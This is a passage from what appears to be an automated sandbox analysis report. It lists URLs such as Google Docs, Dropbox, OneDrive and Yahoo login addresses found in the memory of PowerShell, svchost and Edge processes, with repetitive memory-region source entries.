https://docs.google.com/presentation/fsip/
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/fsip/
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.sandbox.google.com/document/fsip/
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.sandbox.google.com/presentation/fsip/
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.sandbox.google.com/spreadsheets/fsip/
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docsend.com/
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://experience.dropbox.com/
Source: svchost.exe, 00000006.00000003.2252880372.0000018078D53000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000006.00000003.2252880372.0000018078CE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAB06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000002.00000002.2350155115.00000143CBA2B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CB27C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: msedge.exe, 00000015.00000002.2432803650.00002B8C00300000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://help.dropbox.com/
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://instructorledlearning.dropboxbusiness.com/
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/161903006
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/166809097
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/184850002
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/187425444
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/220069903
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/229267970
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/250706693
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/253522366
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/255411748
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/258207403
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/274859104
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/284462263
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/issues/166475273
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.yahoo.com/
Source: msedge.exe, 00000015.00000002.2432803650.00002B8C00300000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.cn/
Source: msedge.exe, 00000005.00000002.2261413126.0000171000394000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000002.2432803650.00002B8C00300000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.com/
Source: msedge.exe, 00000015.00000002.2432803650.00002B8C00300000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.com/Y
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://navi.dropbox.jp/
Source: powershell.exe, 00000002.00000002.2384952193.00000143DA94F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: msedge.exe, 00000015.00000002.2432803650.00002B8C00300000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://office.net/
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://officeapps-df.live.com
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://officeapps.live.com
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://onedrive.live.com/picker
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pal-test.adyen.com
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paper.dropbox.com/
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paper.dropbox.com/cloud-docs/edit
Source: msedge.exe, 00000005.00000003.2244830038.0000171000274000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2244691762.0000171000270000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2400857871.00002B8C00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/AddSession
Source: msedge.exe, 00000005.00000003.2244830038.0000171000274000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2244691762.0000171000270000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2400857871.00002B8C00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/Logout
Source: msedge.exe, 00000015.00000003.2400857871.00002B8C00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/LogoutYxAB
Source: msedge.exe, 00000005.00000003.2244830038.0000171000274000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2244691762.0000171000270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/LogoutYxABzen
Source: msedge.exe, 00000005.00000003.2244830038.0000171000274000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2244691762.0000171000270000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2400857871.00002B8C00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/MergeSession
Source: msedge.exe, 00000005.00000003.2244830038.0000171000274000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2244691762.0000171000270000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2400857871.00002B8C00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/OAuthLogin
Source: msedge.exe, 00000005.00000003.2244830038.0000171000274000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2244691762.0000171000270000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2400857871.00002B8C00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/RotateBoundCookies
Source: msedge.exe, 00000005.00000003.2244830038.0000171000274000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2244691762.0000171000270000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2400857871.00002B8C00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/chrome/blank.html
Source: msedge.exe, 00000005.00000003.2244830038.0000171000274000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2244691762.0000171000270000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2400857871.00002B8C00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/o/oauth2/revoke
Source: msedge.exe, 00000005.00000003.2244830038.0000171000274000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2244691762.0000171000270000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2400857871.00002B8C00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth/multilogin
Source: msedge.exe, 00000005.00000003.2244830038.0000171000274000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2244691762.0000171000270000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2400857871.00002B8C00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v1/userinfo
Source: msedge.exe, 00000005.00000003.2244830038.0000171000274000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2244691762.0000171000270000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2400857871.00002B8C00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v2/tokeninfo
Source: msedge.exe, 00000015.00000003.2400857871.00002B8C00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v2/tokeninfohttps://permanently-removed.invalid/v1/issuet
Source: msedge.exe, 00000005.00000003.2244830038.0000171000274000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2244691762.0000171000270000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2400857871.00002B8C00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v4/token
Source: msedge.exe, 00000005.00000003.2244830038.0000171000274000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2244691762.0000171000270000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2400857871.00002B8C00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/reauth/v1beta/users/
Source: msedge.exe, 00000005.00000003.2244830038.0000171000274000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2244691762.0000171000270000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2400857871.00002B8C00270000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/v1/issuetoken
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.dropbox.com/
